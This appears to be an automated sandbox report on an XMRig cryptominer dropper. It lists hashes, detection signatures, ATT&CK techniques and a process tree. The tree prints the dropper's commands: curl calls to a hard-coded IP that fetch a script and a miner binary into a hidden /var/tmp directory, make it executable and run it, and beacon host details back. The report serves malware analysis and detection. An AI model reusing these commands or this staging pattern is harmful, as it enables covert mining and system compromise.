xmrig | 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd

Analysis

max time kernel
14s
max time network
16s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/10/2026, 12:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
s
Size 402B
Sample261002-pf8gla1cpc
SHA256 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd
MD5 870fea7e93e2183e85ff04ee3c918393
SHA1 a386c4b90cdd08f91296426f559c52449ac15431
SHA512 978785d1190dca7ec3c747e339f0a3aba5de421fae9e8be7cf1f86ce9b4a0c8dd210ce0ff6546916787f353695ee88892c62ce1d84ff5469fc279a6eccd1be8b
TLSH
T16FE0ABEE6070C0773B485004DB8A1B365882DAAA1CF00631CA96E92D51C80993FC7211
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm defense_evasion discovery xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xmrig
behavioral2/files/fstream-1.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
774	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/var/tmp/.nsc/sysmond	777	sh

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 7 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/43/status	ps
File opened for reading	/proc/705/cmdline	ps
File opened for reading	/proc/sys/kernel/osrelease	sysctl
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/295/stat	ps
File opened for reading	/proc/566/stat	ps
File opened for reading	/proc/566/cmdline	ps
File opened for reading	/proc/582/cmdline	ps
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/14/stat	ps
File opened for reading	/proc/295/status	ps
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/295/cmdline	ps
File opened for reading	/proc/2/cmdline	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/42/cmdline	ps
File opened for reading	/proc/76/cmdline	ps
File opened for reading	/proc/281/cmdline	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/4/cmdline	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/25/status	ps
File opened for reading	/proc/106/status	ps
File opened for reading	/proc/169/cmdline	ps
File opened for reading	/proc/298/stat	ps
File opened for reading	/proc/734/stat	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/108/cmdline	ps
File opened for reading	/proc/143/status	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/283/cmdline	ps
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/27/cmdline	ps
File opened for reading	/proc/140/status	ps
File opened for reading	/proc/27/stat	ps
File opened for reading	/proc/41/stat	ps
File opened for reading	/proc/655/stat	ps
File opened for reading	/proc/8/cmdline	ps
File opened for reading	/proc/108/status	ps
File opened for reading	/proc/109/stat	ps
File opened for reading	/proc/713/status	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/642/status	ps
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/26/status	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/645/cmdline	ps
File opened for reading	/proc/734/status	ps
File opened for reading	/proc/135/cmdline	ps
File opened for reading	/proc/642/stat	ps
File opened for reading	/proc/655/cmdline	ps
File opened for reading	/proc/641/cmdline	ps
File opened for reading	/proc/28/status	ps
File opened for reading	/proc/43/cmdline	ps
File opened for reading	/proc/76/status	ps
File opened for reading	/proc/140/cmdline	ps
File opened for reading	/proc/143/stat	ps
File opened for reading	/proc/293/stat	ps
File opened for reading	/proc/298/cmdline	ps
File opened for reading	/proc/642/cmdline	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/20/status	ps

/tmp/s
/tmp/s
1⤵
PID:645
- /usr/bin/tr
  tr -cd A-Za-z0-9._-
  2⤵
  PID:648
- /bin/hostname
  hostname
  2⤵
  PID:647
- /usr/bin/cut
  cut -c1-20
  2⤵
  PID:649
- /usr/bin/curl
  curl -sk -m 15 "http://177.4.12.11:8080/s?ev=boot&v=x&h=debian9-armhf-202605"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:652
- /bin/sh
  sh
  2⤵
  - Executes dropped EXE
  PID:705
- - /bin/hostname
    hostname
    3⤵
    PID:724
- - /bin/uname
    uname -s
    3⤵
    PID:725
- - /bin/uname
    uname -m
    3⤵
    PID:726
- - /sbin/sysctl
    sysctl -n kern.osrelease
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:727
- - /usr/bin/id
    id -u
    3⤵
    PID:728
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=env_Linux_armv7l_osrel=_uid=0"
    3⤵
    - Checks CPU configuration
    PID:729
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:730
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:731
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:732
- - /bin/grep
    grep -c "[s]ysmond"
    3⤵
    PID:735
- - /bin/ps
    ps -ax
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:734
- - /bin/rm
    rm -f sysmond
    3⤵
    PID:738
- - /usr/bin/curl
    curl -sk -m 300 -o sysmond http://177.4.12.11:8080/xmrig-fbsd11-raw
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:739
- - /usr/bin/tr
    tr -d " "
    3⤵
    PID:773
- - /usr/bin/wc
    wc -c
    3⤵
    PID:772
- - /bin/chmod
    chmod 755 sysmond
    3⤵
    - File and Directory Permissions Modification
    PID:774
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=dl_sz=3620152"
    3⤵
    - Checks CPU configuration
    PID:775
- - /bin/sed
    sed "s/[^a-zA-Z0-9._-]/_/g"
    3⤵
    PID:779
- - /bin/sed
    sed -n 1p
    3⤵
    - Reads runtime system information
    PID:778
- - /var/tmp/.nsc/sysmond
    ./sysmond --version
    3⤵
    PID:777
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=ver=sh__38__._sysmond__Exec_format_error"
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:781
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=exe_fail_rc=0"
    3⤵
    - Checks CPU configuration
    PID:782
- /usr/bin/curl
  curl -sk -m 120 http://177.4.12.11:8080/nsp2.sh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:704

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sysmond

Path /var/tmp/.nsc/sysmond
Size 3.5MB
SHA256 9629553646ab51c36c18aa4cfbbb87a87fd9b87836b713089a3882082246b171
MD5 5eafa37cdf767f4a8f2c9801d57c45a1
SHA1 ee9f4f3cecd7d1949990cb46261bbabff20f142f
SHA512 86c557548aff44f07888852ef5c5ea7c31acffe538835490de43ecf426dd91ced71831bea336d55dc3a61e3a3f27ce460155ee420fabff7ab3aacc63afd70095
SSDEEP 49152:vNgMP3sOAFTzVv7bWRziCxCpn9ICnQtNK9zIhtc1+4nsG5RohMYb9F:ywCjbnCxCpPQtQIhtcc4n/oMYb9F
TLSH
T1AAF57C1AB261A47CD147C038579F55F2D6D8F0B5036A78FB1F87E6303A29CD25B28A36
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads